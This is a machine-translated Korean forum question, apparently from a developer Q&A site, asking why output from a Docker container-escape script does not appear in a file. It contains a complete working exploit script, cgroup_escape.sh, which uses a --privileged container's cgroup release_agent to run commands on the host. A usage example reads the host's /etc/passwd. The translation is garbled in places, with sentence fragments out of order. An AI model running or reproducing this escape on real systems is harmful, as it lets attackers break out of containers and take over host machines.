나는 컨테이너에서 호스트로의 이스케이프에 어떻게 남용될 수 있는지 docker run ...
와 같은 Docker의 옵션 중 일부를 실험해 왔습니다 .--privileged
다음 스크립트는 cgroup_escape.sh
Yield가 컨테이너가 cgroup을 수정하고 cgroup 기능을 사용하여 호스트에서 명령을 실행할 수 있도록 허용한다는 사실을 남용합니다(참조:--privileged
cap_sys_admin
release_agent
용법).
이것질문내부에서 호출하면 cat /o
스크립트가 존재하기 전에는 cgroup_escape.sh
파일 크기가 0바이트(수정 결과 없음)였기 때문에 출력이 표시되지 않습니다. 스크립트가 존재하면 콘텐츠가 성공적으로 표시됩니다./o
sleep 10
cat /o
/o
Docker 컨테이너의 루트 파일 시스템 유형은 다음과 같습니다 overlay
.
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O2KKX7BVYQPVTDYSEHBQGQFRHH:/var/lib/docker/overlay2/l/RGMSFCJWYRAJ3ZUF43IBFJ7UPZ,upperdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/diff,workdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/work)
/o
쉘 스크립트가 실행될 때 파일 변경 사항을 적용하는 방법이 있습니까 ?
참고: 이 문제는 유형이 있는 파일 시스템으로 인해 발생합니까 overlay
?
cgroup_escape.sh:
#!/usr/bin/env bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o
echo $t/c > $d/release_agent
echo -e "#!/bin/sh\n$1 > $t/o" > /c
chmod +x /c
echo 0 > $d/w/cgroup.procs
sleep 1
cat /o
용법:
docker run --privileged -ti --rm --mount type=bind,src=$(pwd),dst=/host,readonly debian:latest
root@bfbd3ddb2f2b:/# /host/cgroup_escape.sh "cat /etc/passwd"
root@bfbd3ddb2f2b:/# cat /o
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...